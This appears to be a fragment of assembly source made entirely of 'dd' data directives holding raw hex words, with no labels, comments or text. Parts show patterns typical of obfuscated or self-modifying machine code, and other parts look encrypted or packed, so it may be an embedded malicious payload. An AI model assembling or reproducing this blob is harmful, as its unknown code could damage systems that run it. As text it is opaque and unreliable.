		dd 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah
		dd 0E2CD3ED0h, 0D75FD7Ah, 60350BEFh, 1C0707Ch, 5D73E43Ah
		dd 2C7F518Ah, 65E002D0h, 873E43Ah, 0E574E592h, 0F8254D7Ah
		dd 4B9D5779h, 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h
		dd 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh,	438A036Bh
		dd 0EEDFA7CAh, 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah
		dd 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah
		dd 69B65779h, 0D23592FFh, 8AC87D7Ch, 0F373E43Ah, 0FCF8EC0Fh
		dd 0BA6CBD9Bh, 5C61152Ah, 1B9DFD7Ah, 2775FD78h,	759D571Ah
		dd 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0A53592F7h,	31C87D7Ch
		dd 2F73E43Ah, 12F8F10Fh, 0CD6CBD9Bh, 0E4DE152Ah, 4AB6FD7Ah
		dd 7975FD7Eh, 0FC836885h, 0C3F8FB63h, 296CB844h, 3D6DF9F0h
		dd 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h
		dd 0CB8A3E78h, 296CBD88h, 96514ACEh, 74C1FF0Eh,	4E13F2CAh
		dd 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h
		dd 68B65778h, 0D2350FEFh, 0EA917D7Ch, 42F539FAh, 2EDE9B75h
		dd 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h
		dd 708AFD7Ah, 0F46CBD8Ch, 39A060F7h, 0A0F8FB63h, 4ECD3E39h
		dd 0D075FD7Ah, 8E350BEFh, 0CEB57E7Ch, 1A8935F1h, 0EB350FEFh
		dd 8E97577Ch, 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh
		dd 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h
		dd 475FD7Ah, 6A3B17FBh,	0EAFCFB63h, 3ACF7D86h, 0E573E43Ah
		dd 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 47350BE8h,	0ADFCBD7Ch
		dd 916CBD80h, 79F835F1h, 0E36CBB58h, 0B2876F85h, 7FFDFB63h
		dd 4801F3Ch, 5E75FD6Dh,	6F8F7F79h, 1A35FB63h, 0D233EBE0h
		dd 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 0FC8F7779h, 0ECF8FB63h
		dd 296CBB7Eh, 2F2B5989h, 0CB75FD72h, 0A5836F85h, 0AF6FB63h
		dd 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh
		dd 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h
		dd 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh,	848980F3h
		dd 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh
		dd 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah
		dd 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 0D233C890h
		dd 1BCF707Ch, 7973E43Ah, 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh
		dd 0A226FD7Eh, 8E3503E7h, 0D3497D7Ch, 0BE71887Bh, 0A9771683h
		dd 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 691B17FBh,	25F8FB63h
		dd 0CD6CBD84h, 5C7D80F1h, 0F275FD72h, 0B0145989h, 0DC75F9B8h
		dd 1E8B40F7h, 0EF46FB63h, 9775F5C3h, 0AADF0E7Ah, 58F89DB9h
		dd 0F46CBD84h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh
		dd 969E0479h, 0ABB69C82h, 0A58B40F7h, 0F3CDFB63h, 0C075FD7Ah
		dd 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 0D67E78F7h, 0D08AFB63h
		dd 0CCE9CA8Bh, 8F000000h, 0C32ECB79h, 127D9A40h, 208F6814h
		dd 72DD3ADEh, 55E809B5h, 913DCA71h, 61071970h, 32D42980h
		dd 3AB7AD5h, 6880BDE6h,	0E3C469h, 6DB62BC7h, 3781EF91h
		dd 4BA448DAh, 33D92B36h, 973BC445h, 8F118CE9h, 0A7E7C65Dh
		dd 59CF4428h, 0B4BDE233h, 387A05F0h, 3EAD6807h,	0B7C0077Ah
		dd 7107BF04h, 8D971BE6h, 61DC99E7h, 0F5C65613h,	420A8DAFh
		dd 19FC2EA7h, 0BF000000h, 0CFEFEE02h, 4B8A063Ch, 0C22BEB36h
		dd 3BB883D8h, 34239824h, 0AACD46EAh, 9BE9976Dh,	3D4BF332h
		dd 0C3B151ACh, 6612BA4Ah, 67220E7h, 0A6D28087h,	4B39DB27h
		dd 0EC9844C2h, 70FCA27Dh, 46E2682Dh, 0D1E90619h, 98FFF938h
		dd 58CC8F89h, 0C694F390h, 0E94D2DC2h, 2Ah, 2404C7h, 0E8000000h
		dd 0
		dd 0BFED815Dh, 8B061947h, 89042444h, 1216FD85h,	0B806h
		dd 8D8D0000h, 6125065h,	54B8E1FFh, 8D000067h, 19485F8Dh
		dd 0C1B58906h, 89061209h, 1227918Dh, 0BD8B6006h, 61207A9h
		dd 598D3160h, 8A06120Ah, 0C76161DAh, 12343985h,	626006h
		dd 1958B00h, 0C706122Dh, 122E5D85h, 6, 0E98D8900h, 0FF061233h
		dd 12254DB5h, 0F18B6606h, 0AC995FFh, 6A0612h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 28507FC3h
		dd 0CE2B3463h, 0FF006A1Ch, 12247595h, 0EBC08B06h, 451E2E09h
		dd 94E6FDBAh, 9D8D6E2Bh, 6123185h, 13A8B8h, 0D9858900h
		dd 0E8061226h, 0
		dd 0D0558h, 3890000h, 13A8E9h, 4EAh dup(0)
		dd 0BE8D8D00h, 6606195Ch, 0D591D281h, 27918D89h, 0BE660612h
		dd 85C75DFEh, 6123439h,	5E08h, 85C7F98Bh, 6122E5Dh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 44C35242h
		dd 0B589773Ch, 6120F49h, 1629B5FFh, 0F7BB0612h,	0FF334C93h
		dd 120AC995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 9B38527Fh, 95FF006Ah, 6122475h, 1CEBC08Bh
		dd 50F725B1h, 0EB7D3B90h, 6DF881ACh, 1229A894h,	0DD428C2Ah
		dd 0CE9C8071h, 0B74BD0CFh, 3BE9h, 0BD8B6000h, 6120C05h
		dd 3304EF83h, 0BBC18BC9h, 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h
		dd 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h, 100h
		dd 0FFD3820Fh, 0C361FFFFh, 16EBC88Bh, 5	dup(0)
		dd 40C0101h, 6190000h, 31F5958Bh, 50500612h, 5A310F52h
		dd 24048958h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	52C35747h, 0A7DDB05Dh, 8E0F006Ah, 6, 1A4DBD89h
		dd 6A0612h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Ah,	0B4C35141h, 39AC03B3h, 8C0F63F4h, 2, 0BD2B81B6h
		dd 6120E69h, 858DD88Bh,	6195E73h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 73C35646h, 0F1392302h, 0F70BF796h
		dd 12F9952Bh, 0B2500612h, 24048979h, 68D0Fh, 0BD890000h
		dd 61232DDh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 68B72CC3h, 7AB7D7Bh, 8B0FBFA5h
		dd 6, 0AD958Bh,	8D8B0612h, 6120939h, 0B501006Ah, 6121949h
		dd 2551B589h, 95FF0612h, 61204ADh, 2485B501h, 0EFE90612h
		dd 6A000005h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 6030C356h, 15E85EBBh, 0E185895Eh
		dd 61061210h, 0E8h, 0ED815D00h,	6195E78h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 88C35545h, 61E9CFDDh
		dd 0F2903DEh, 1981h, 14E900h, 306B0000h, 18DAE269h, 0CAE9B687h
		dd 0A2A5E073h, 31C5B557h, 6A21B0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 3D758EC3h, 2EC1B25Ch
		dd 4E8FADFh, 0A0000000h, 5300000Fh, 505A04B1h, 2850Fh
		dd 0D18B0000h, 424448Bh, 6F33BB66h, 0BA66008Bh,	44898717h
		dd 35B90424h, 58702ED8h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 0EC35646h, 0A7E3D3A8h, 0C6BA66EFh, 7595FFF8h
		dd 6A061224h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0C7BDC350h, 0F82BBEAAh, 0E944C267h
		dd 5, 0E62DA5ADh, 23B58D84h, 6A06195Dh,	3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 1460C350h
		dd 41CE36E3h, 8D2B10E1h, 61207B5h, 655206C7h, 0BF0F6D67h
		dd 9BD29CBh, 0C7061230h, 6E6F0446h, 0DC8A6C63h,	610846C7h
		dd 6A007373h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 46BFC357h, 0F13B84C4h,	89F96060h
		dd 1223C98Dh, 0F006A06h, 1A87h,	0FE800h, 60860000h, 3F4F01AFh
		dd 904B9B53h, 0D9A21FECh, 0E28166D0h, 8D59DCD7h, 195D2385h
		dd 0E1858906h, 90061225h, 0C800F53h, 0E9000000h, 7, 4C6E54E4h
		dd 5BAFBA5Fh, 0C8D0F50h, 50000000h, 820F52h, 0F000000h
		dd 90585A31h, 0FFD0B70Fh, 12351D95h, 0CEB70F06h, 840FC00Bh
		dd 41h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch
		dd 30C35141h, 76D30D94h, 0CB102966h, 61F8F860h,	384E9h
		dd 8D296000h, 6123149h,	30358589h, 29610612h, 122EE1B5h
		dd 99A06806h, 0CF8A9F47h, 8C240481h, 0FF60B867h, 12247595h
		dd 8D316006h, 6122465h,	23B58D61h, 6A06195Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0BD67C355h, 11E9h, 3B41A800h, 7AFA481Ch, 6FA38225h
		dd 7595E2B2h, 6C7CD92h,	36343831h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0E3C35141h,	0C7DC3B01h, 2D370446h
		dd 2DBA3134h, 0C7769EAFh, 846h,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0E9500FC3h
		dd 0Dh,	9CEBCD22h, 3735834Bh, 430AFF2Ah, 6A5A12h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0DBC35141h, 0F3F39DBFh
		dd 0EE8C7609h, 818D290Ah, 8B06120Ah, 23858DFEh,	6A06195Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 8CCBC355h, 96C9D9ADh, 0F970903Fh,	50DF8B90h
		dd 2A7111BAh, 6A9009h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 958B56C3h, 6122ED9h, 351D95FFh
		dd 57600612h, 4AFFBE66h, 12E959h, 8A610000h, 0F31248C4h
		dd 56F5469Eh, 50418FB4h, 0D9F3C37Ah, 0FC00B61h,	1184h
		dd 1FBE900h, 9D010000h,	6122525h, 35B19589h, 47680612h
		dd 81794BBCh, 0BD6B2434h, 0FFF8794Bh, 12247595h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 17BEFE2Eh, 23B58DB9h, 8B06195Dh, 1221C98Dh, 4606C706h
		dd 0E9656C69h, 7, 0F5B5073Bh, 60673F83h, 2E55B589h, 0E9600612h
		dd 0Fh,	7207624Dh, 5CA36923h, 2208F538h, 8B35BA4Dh, 1211D185h
		dd 0C7616106h, 6F6D0446h, 6A636Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 77494BC3h, 8F2C32F7h
		dd 10E9h, 61730100h, 2AE897C0h,	8CF76CAh, 0D420B69Ch, 846C7D4h
		dd 7373616Ch, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	48C35040h, 9017CF4Bh, 10F687D8h, 68D0F7Eh, 89000000h
		dd 121B798Dh, 0C46C706h, 0
		dd 89E68A60h, 122CC58Dh, 6A6106h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0F9C35646h,	8D8B3B10h, 6122C75h
		dd 5D23858Dh, 85890619h, 612317Dh, 9E950h, 50440000h, 992BC527h
		dd 89138F96h, 0DF8B2404h, 351D95FFh, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E1F16AC3h
		dd 0DFC69BA0h, 95293E42h, 61224C5h, 840FC00Bh, 3Dh, 0C880Fh
		dd 820F0000h, 6, 0F559D89h, 5EE90612h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0FC98C356h, 0BD90229Dh, 0D9B70F51h, 0FAA6E959h, 8D89FFFFh
		dd 6122651h, 11E8h, 4D654C00h, 8D574AB3h, 9061E3B5h, 7C2514A2h
		dd 0E9606FA9h, 9, 0E1F487F6h, 0AB28A8CDh, 0E19589C0h, 61061226h
		dd 17B58D5Bh, 6A061273h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0C31CC353h,	0B829E42Dh
		dd 0
		dd 2F2DBD29h, 0E6FF0612h, 3425BD23h, 0C18B0612h, 9E8h
		dd 7D98DE00h, 58A85DFAh, 895FDDFCh, 1224658Dh, 4FC78106h
		dd 8B000068h, 122B519Dh, 7150BA06h, 0C28151E8h,	0AE17A895h
		dd 61852960h, 8B061204h, 122D9185h, 37FF6106h, 13C1B58Bh
		dd 0B9580612h, 67314A31h, 13C3E881h, 9D29289Ah,	612203Dh
		dd 3E9CF081h, 880F716Dh, 6, 2E29B58Bh, 0E8810612h, 2EFAEE63h
		dd 8B16B660h, 895061C7h, 120B598Dh, 89078F06h, 1207959Dh
		dd 25EF8106h, 0B73C6320h, 21C78101h, 893C6320h,	12240D9Dh
		dd 850F4A06h, 13h, 158D89h, 1DE90612h, 0BC000000h, 8555EA87h
		dd 6649D208h, 83E9D88Bh, 51FFFFFFh, 841E9FA1h, 223E5005h
		dd 7390D873h, 4F46CAFEh, 0C725A80Ah, 4F8D8A4Eh,	0D5ABA80Ah
		dd 4C6575EAh, 0C423A80Ah, 5DBA8A4Eh, 0C49857AEh, 4D558A4Eh
		dd 0D5ABA80Ah, 4D1C75EAh, 0C5CEA80Ah, 4D9E8A4Eh, 0DA48A80Ah
		dd 52108A4Eh, 0D5ABA80Ah, 2F2575EAh, 333282D4h,	0A3C00313h
		dd 0A752B134h, 0BB231290h, 2FD12157h, 2F439370h, 333247D4h
		dd 0ABC00313h, 0A752B134h, 0BB22CD90h, 3BD12157h, 2F439370h
		dd 333336D4h, 0B7C00313h, 0A752B134h, 0BB227990h, 37D12157h
		dd 2F439370h, 333C9FD4h, 83C00313h, 0A752B134h,	0BB2D0A90h
		dd 3D12157h, 2F439370h,	333C69D4h, 8FC00313h, 0A752B134h
		dd 0BB2C8890h, 1BD12157h, 2F439370h, 333DEBD4h,	97C00313h
		dd 0A752B134h, 0BB2CF690h, 13D12157h, 0C3439370h, 2A5012B8h
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45CEFF1h
		dd 2AA8ED96h, 29458A15h, 0E367A024h, 0ADBAB496h, 2A54A1D5h
		dd 64C6CB15h, 0D5BA4155h, 63CE75EAh, 380D3AAEh,	42848C07h
		dd 2211AB53h, 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch,	0E3A8EDDAh
		dd 0F74586D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h
		dd 6C54A851h, 0A24162ADh, 0EA660351h, 2FEE27BFh, 3316B4DBh
		dd 12947513h, 0A0D90201h, 0A45CC809h, 0A1EC79AEh, 941AE51h
		dd 684822DCh, 73BA8C0Ch, 2ADF1037h, 28C82173h, 2C4DEA4Dh
		dd 2BFD5BEAh, 81508C15h, 0E0590098h, 0FBABAE48h, 89EFD2A5h
		dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h,	4AA86CD2h
		dd 0A2458AFDh, 0C0D5F251h, 0A45CECB1h, 0A15CDDDAh, 0E7828668h
		dd 2A54A8ADh, 30BACC15h, 2C46BA68h, 69CE529Eh, 0B99783FCh
		dd 31EFE2A5h, 0A0D9F9FAh, 0A45CC809h, 9A0D79AEh, 1A232094h
		dd 81328C55h, 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h
		dd 21A90140h, 0C2345495h, 0A2458A15h, 0D1BE290Bh, 29439373h
		dd 57DFA024h, 5E004D19h, 2A54A851h, 9BD77553h, 0A152BA43h
		dd 69CE19CDh, 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh, 0A45CC809h
		dd 9A0D79AEh, 1A232094h, 81328C65h, 0DF6E2184h,	0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h,	0DFCE8260h
		dd 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h
		dd 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h
		dd 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h
		dd 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h,	66C6669Eh
		dd 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h,	22B769C2h
		dd 62765826h, 78C22FDh,	0A2458AD5h, 25AB54D1h, 0A2459391h
		dd 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h
		dd 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h,	0A24D48DCh
		dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h,	2A54A851h
		dd 229D00B9h, 0E1D4A7B2h, 8860085h, 684822DCh, 73BA8C0Ch
		dd 0A7FEF8E1h, 0BB07969Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h,	0DFCE8260h
		dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 0FBD77515h, 2652BA43h
		dd 28C82045h, 2C4DEA4Dh, 2BF55BEAh, 86949BFBh, 622E8531h
		dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h,	229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h
		dd 0D5FE0451h, 0B057B387h, 868C2357h, 2FEF4917h, 3316B4DBh
		dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah,	29247668h
		dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh
		dd 0A2457650h, 80F8A851h, 0B07C18EAh, 0E2DFAE43h, 88558B9h
		dd 684832DCh, 71BA8C0Ch, 0E3941037h, 63CF2173h,	262983FBh
		dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h
		dd 26292359h, 0A2B9CFD2h, 8654A851h, 9BD775BFh,	0A152BA43h
		dd 637726DDh, 36CE25FBh, 5D439357h, 0AAECCE82h,	28EEECE4h
		dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h
		dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h
		dd 0B0D90337h, 0A45CC809h, 92327BAEh, 9234B95h,	1FE04FDh
		dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h
		dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h
		dd 0BB07968Fh, 9A875757h, 0E0320A0h, 36CE25FBh,	5D439357h
		dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45CE3D9h
		dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh
		dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh,	13798A15h
		dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh
		dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 2BCE2559h, 0F1439370h
		dd 4F8C32DCh, 71BA8C0Ch, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh
		dd 38C88260h, 2C4DCD40h, 7ADF0746h, 0D552B134h,	5E0003C6h
		dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0BB20978Fh, 0B0D9FB57h
		dd 0A45CEFCDh, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h
		dd 4F7D32DCh, 2F168C0Ch, 333170CBh, 2B967513h, 2ABD5414h
		dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 12E8h, 0BB74500h
		dd 0F5F7B037h, 757F4CDh, 933C80D1h, 66526C7Fh, 5ED7D7BAh
		dd 6E8h, 793EC900h, 0E8D75FDFh,	0Dh, 1BC4FB6Bh,	2A9D74A4h
		dd 804652Dh, 81595ABBh,	0E636C6h, 9EE98100h, 337B56A5h
		dd 0BE8C0h, 16A10000h, 3EDCF751h, 90A6D696h, 0FE8B1h, 0D9980000h
		dd 0EDE1140Eh, 4556E474h, 0D88EB7A2h, 0CB8166A5h, 595A03B4h
		dd 0F063C8Bh, 38Bh, 60D18000h, 9D5AC781h, 0BBB77CAFh, 7671EF81h
		dd 8A0F4777h, 6, 0CDC6D181h, 0EF8147FCh, 55AF6B87h, 80063C89h
		dd 0E883F3EBh, 81D18B04h, 0FF1AACF8h, 21850FFFh, 0E8000000h
		dd 7, 8BD844BCh, 0FAF87A7h, 0E959CFB7h,	1Fh, 680A8222h
		dd 153C8254h, 6B64D95Eh, 7601C181h, 91E9156Bh, 69FFFFFFh
		dd 39B8AE23h, 0E9114CE8h, 0Bh, 2833F096h, 0
		dd 0E9000000h, 0D0Eh, 196DD868h, 14D2E906h, 8F68FFF9h
		dd 0E906196Eh, 0FFF914C8h, 196F6068h, 14BEE906h, 0ED68FFF9h
		dd 0E906196Fh, 0FFF914B4h, 19730968h, 14AAE906h, 1768FFF9h
		dd 0E9061976h, 0FFF914A0h, 19770168h, 1496E906h, 74B0FFF9h
		dd 3BC42BC4h, 0F177A97h, 0D9258465h, 0B077DA37h, 6C5EE502h
		dd 6D8A38CFh, 0BD5A0202h, 0D22FCF52h, 0E3FCA67Fh, 726385BAh
		dd 0CC00E3E9h, 966DAB2Eh, 0F00D9CE8h, 9B93ED4Eh, 1367256Dh
		dd 16E8F04h, 8EE25BBDh,	0CE86AF2h, 316987C4h, 9998D3DDh
		dd 0E232A335h, 5D8C00E8h, 136E1AC4h, 0FB421F94h, 0E2F0E58Dh
		dd 0DF8000E8h, 0E7AD1F73h, 4AC2D6E5h, 67000000h, 14F6Fh
		dd 0C47D2C4Bh, 2AA9EFFAh, 17A4235Eh, 808ECFF9h,	0B145D783h
		dd 68D54E55h, 0E81C5000h, 0E18FEE0Ch, 0E81C6491h, 79971400h
		dd 38173FFh, 7233B046h,	0DA404018h, 1029D6E5h, 12000000h
		dd 0C7312FF6h, 1B98AEEBh, 865D244h, 6DB70000h, 0F9EEA94h
		dd 8EB34CF6h, 0CF553772h, 0E96A7CCDh, 5DDE429Ch, 47F13120h
		dd 51C73C39h, 0CE88595h, 9DDEAA91h, 0BECA72B2h,	0D9B619DEh
		dd 0EA6941BCh, 0C4F2E769h, 298200E8h, 0B5869CFh, 1A08A668h
		dd 850ED402h, 8CC53EBDh, 0CDD2D2A6h, 2562D6E5h,	0E8C012C3h
		dd 54D1AC00h, 4E3Ah, 0A0C80500h, 0E8C031h, 5037AC8Fh, 50ED4F6Fh
		dd 0E8A5A438h, 9F67F20Ch, 5AC576F5h, 719724C8h,	0E8AF80h
		dd 96E65FDEh, 0E8AF0BCEh, 57C27B00h, 0E4AD26CCh, 0ED03408Eh
		dd 0E8AFECh, 7705A578h,	59DAA1FAh, 0E5A626A6h, 0C44BD6h
		dd 6DEE0000h, 1451EA94h, 0FA82FDFCh, 63E05B06h,	0C773B019h
		dd 29D150B9h, 0F231205Bh, 61A0CF44h, 6D0858B9h,	7906FA7Eh
		dd 8EE1FEA8h, 3DDF2377h, 6F89B2BEh, 68D2FC32h, 0E18E0799h
		dd 85C27BDDh, 20B12048h, 2C0F06FAh, 2C0121B7h, 0F21D0CE8h
		dd 0FB9B6632h, 775F08Dh, 0C34EEF6Ah, 91EC9842h,	4896FB14h
		dd 5E3157E4h, 780AF5F4h, 54A9B805h, 352F8BAFh, 0A924FA87h
		dd 83808F2Ch, 50D73AD7h, 473D73A2h, 0F27E64BBh,	0A1A24h
		dd 0C16FB500h, 9036C920h, 5E0A1877h, 30D42E81h,	0FFAB78D7h
		dd 0F0675BE2h, 76A8733h, 57BA57FDh, 60CF28CAh, 8718F9A1h
		dd 0EF77668Ah, 35D100E3h, 0E8966DACh, 0B961A00Fh, 4F6FF958h
		dd 0A43850EDh, 0F20CE8A5h, 6095FD8Bh, 1000E8AFh, 3DAF036Fh
		dd 52D6E5A6h, 0A8h, 6946DF7h, 0C46EB7FBh, 323EBDB8h, 29C95437h
		dd 0D5A31E5Bh, 7503AF74h, 0FA7E48EDh, 9C324E06h, 0C8972615h
		dd 2F74852Fh, 0B32EAF91h, 24CE5732h, 0F59D64CBh, 56BA0487h
		dd 0F8E383E5h, 80FB0CE8h, 50B40A67h, 8D9985EBh,	5EDD0AF5h
		dd 9B572DDh, 0D48281E8h, 0BB1E450Dh, 0CCDA9664h, 963h
		dd 997626E2h, 0A849ED36h, 0FA17C141h, 8E98B97h,	5BB462A1h
		dd 0EA391E20h, 0B44CA33Ch, 819CF30Ch, 58A900E1h, 53C851AEh
		dd 0E3ECBC3Dh, 0E57C1A00h, 0FE8966Dh, 618761A0h, 6FA8270h
		dd 17F06FCEh, 8123FF6Ah, 9AFD76F3h, 9EEA946Dh, 0EF4CF60Fh
		dd 0ADB60391h, 59C32D16h, 68EA304Ah, 7D9E172Eh,	24D251C0h
		dd 0C213D7AFh, 0A122D057h, 0AA7AFAC4h, 0D2368702h, 0CE8F76Eh
		dd 0EC741568h, 58A5E826h, 61DA3E80h, 3F0ED30Fh,	0C78C3A3h
		dd 0F0313F9Fh, 38DA2746h, 9B2314Ch, 0D646ACCCh,	0FA620419h
		dd 3DB6950Bh, 15D4AABh,	0E45924B9h, 0B902AC75h,	5CE5147Ch
		dd 0C643BD04h, 45C33A2h, 33AE8DBDh, 2FF659B2h, 0A3EC5C87h
		dd 212D1492h, 89217h, 49F70D00h, 18BE41A8h, 0E69290FFh
		dd 0B85CA609h, 8733F05Fh, 48EFD36Ah, 9FF20FBBh,	0AF02DF85h
		dd 0F857B052h, 3F608129h, 0EDEFEE02h, 0AD4900E3h, 4ED0BF34h
		dd 9817BF46h, 751491ECh, 157602ACh, 0B2D667C9h,	0CE8A6C2h
		dd 5F9C211Ch, 88D2DF0h,	14EEA479h, 0B514F570h, 0AABAC668h
		dd 0E8AF2Bh, 0E85F8B4Eh, 5FC11D00h, 0A01A8ADEh,	0E9540AFAh
		dd 2C253454h, 402CD42Ch, 8AA2BB25h, 57B6C63Fh, 0A1FD24CEh
		dd 0D264B857h, 8058896h, 84800000h, 4BD43BD4h, 1FE74AA7h
		dd 0E9359475h, 0C047AA47h, 7C4EF512h, 7D9A48DFh, 8D6A1212h
		dd 0A23FDF22h, 0F30CB64Fh, 6293F5AAh, 0FC00E3EDh, 0D0BFBBDEh
		dd 412EA753h, 4EA21B7Dh, 0CE89DDEh, 0EB84998h, 0ABB6E593h
		dd 5732B359h, 66C926CCh, 0D08BF99Dh, 0A77C7D93h, 63DA00E8h
		dd 0D43A85E2h, 0B4A50967h, 0BBD5046Ch, 87300E8h, 854EE690h
		dd 3711DEAh, 3850ED66h,	0E85B51h, 29D1503Fh, 0F8A51E5Bh
		dd 0F738F785h, 50D2BD9Bh, 0C75837ACh, 6792C623h, 0F100E85Ah
		dd 0DD3388EEh, 0E85BC0h, 425CABB6h, 199A19C5h, 89E0017Ch
		dd 0DCA4D076h, 0E85BB1h, 5A78D21Bh, 580ACB1Dh, 0D9A400E8h
		dd 4CF20D5Ch, 9F5EB2EFh, 0B00E858h, 350855F7h, 2FF05FB0h
		dd 29F29996h, 0A625A978h, 721F8ADAh, 8CC500E8h,	5A97AA6h
		dd 37C857E4h, 8226F893h, 0F75B6401h, 73B62246h,	2D1000E8h
